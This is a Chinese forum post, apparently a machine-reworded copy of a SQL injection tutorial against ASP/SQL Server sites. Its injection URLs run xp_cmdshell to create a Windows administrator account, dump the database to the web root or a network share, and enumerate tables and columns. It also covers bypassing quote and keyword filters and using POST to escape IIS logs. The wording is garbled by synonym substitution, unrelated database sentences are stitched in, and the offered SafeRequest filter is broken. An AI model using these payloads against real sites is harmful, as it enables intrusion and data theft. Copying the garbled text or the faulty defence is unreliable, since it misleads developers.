|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
Memory所有数据置于内存的存储引擎,拥有极高的插入,更新和查询效率。但是会占用和数据量成正比的内存空间。并且其内容会在Mysql重新启动时丢失 第一节、使用体系表注进SQLServer数据库 SQLServer是一个功效壮大的数据库体系,与操纵体系也有严密的接洽,这给开辟者带来了很年夜的便利,但另外一方面,也为注进者供应了一个跳板,我们先来看看几个详细的例子:
①http://Site/url.asp?id=1;execmaster..xp_cmdshell“netusernamepassword/add”--
分号;在SQLServer中暗示离隔前后两句语句,--暗示前面的语句为正文,以是,这句语句在SQLServer中将被分红两句实行,先是Select出ID=1的纪录,然后实行存储历程xp_cmdshell,这个存储历程用于挪用体系命令,因而,用net命令新建了用户名为name、暗码为password的windows的帐号,接着:
②http://Site/url.asp?id=1;execmaster..xp_cmdshell“netlocalgroupnameadministrators/add”--
将新建的帐号name到场办理员组,不必两分钟,你已拿到了体系最高权限!固然,这类办法只合用于用sa毗连数据库的情形,不然,是没有权限挪用xp_cmdshell的。
③http://Site/url.asp?id=1;;;anddb_name()>0
后面有个相似的例子anduser>0,感化是猎取毗连用户名,db_name()是另外一个体系变量,前往的是毗连的数据库名。
④http://Site/url.asp?id=1;backupdatabase数据库名todisk=’c:inetpubwwwroot1.db’;--
这是相称狠的一招,从③拿到的数据库名,加上某些IIS堕落表露出的相对路径,将数据库备份到Web目次上面,再用HTTP把全部数据库就完完全整的下载返来,一切的办理员及用户暗码都一览无遗!在不晓得相对路径的时分,还能够备份到收集地点的办法(如202.96.xx.xxShare1.db),但乐成率不高。
⑤http://Site/url.asp?id=1;;;and(SelectTop1namefromsysobjectswherextype=’U’andstatus>0)>0
后面说过,sysobjects是SQLServer的体系表,存储着一切的表名、视图、束缚及别的工具,xtype=’U’andstatus>0,暗示用户创建的表名,下面的语句将第一个表名掏出,与0对照巨细,让报错信息把表名表露出来。第2、第三个表名怎样猎取?仍是留给我们伶俐的读者思索吧。
⑥http://Site/url.asp?id=1;;;and(SelectTop1col_name(object_id(‘表名’),1)fromsysobjects)>0
从⑤拿到表名后,用object_id(‘表名’)猎取表名对应的外部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就能够逐一猎取所猜解内外面的字段名。
以上6点是我研讨SQLServer注进半年多以来的血汗结晶,能够看出,对SQLServer的懂得水平,间接影响着乐成率及猜解速率。在我研讨SQLServer注进以后,我在开辟方面的程度也失掉很年夜的进步,呵呵,大概平安与开辟原本就是相反相成的吧。
第二节、绕历程序限定持续注进
在进门篇提到,有良多人喜好用’号测试注进毛病,以是也有良多人用过滤’号的办法来“避免”注进毛病,这大概能盖住一些进门者的打击,但对SQL注进对照熟习的人,仍是能够使用相干的函数,到达绕历程序限定的目标。
在“SQL注进的一样平常步骤”一节中,我所用的语句,都是经由我优化,让其不包括有单引号的;在“使用体系表注进SQLServer数据库”中,有些语句包括有’号,我们举个例子来看看怎样改革这些语句:
复杂的如wherextype=’U’,字符U对应的ASCII码是85,以是能够用wherextype=char(85)取代;假如字符是中文的,好比wherename=’用户’,能够用wherename=nchar(29992)+nchar(25143)取代。
第三节、履历小结
1.有些人会过滤Select、Update、Delete这些关头字,但恰恰健忘辨别巨细写,以是人人能够用selecT如许实验一下。
2.在猜不到字段名时,无妨看看网站上的登录表单,通常是了便利起见,字段名都与表单的输出框取不异的名字。
3.出格注重:地点栏的+号传进程序后注释为空格,%2B注释为+号,%25注释为%号,详细能够参考URLEncode的相干先容。
4.用Get办法注进时,IIS会纪录你一切的提交字符串,对Post办法做则不纪录,以是能用Post的网址只管不必Get。
5.猜解Access时只能用Ascii逐字解码法,SQLServer也能够用这类办法,只必要二者之间的区分便可,可是假如能用SQLServer的报错信息把值表露出来,那效力和正确率会有极年夜的进步。
第四节、提防办法
SQL注进毛病可谓是“千里之堤,溃于蚁穴”,这类毛病在网上极其广泛,一般是因为程序员对注进不懂得,大概程序过滤不严厉,大概某个参数健忘反省招致。在这里,我给人人一个函数,取代ASP中的Request函数,能够对统统的SQL注进SayNO,函数以下:
FunctionSafeRequest(ParaName,ParaType)
---传进参数---
ParaName:参数称号-字符型
ParaType:参数范例-数字型(1暗示以上参数是数字,0暗示以上参数为字符)
DimParaValue
ParaValue=Request(ParaName)
IfParaType=1then
IfnotisNumeric(ParaValue)then
Response.write"参数"&ParaName&"必需为数字型!"
Response.end
Endif
Else
ParaValue=replace(ParaValue,"","")
Endif
SafeRequest=ParaValue
Endfunction
支持大型的数据库。可以处理拥有上千万条记录的大型数据库。 |
|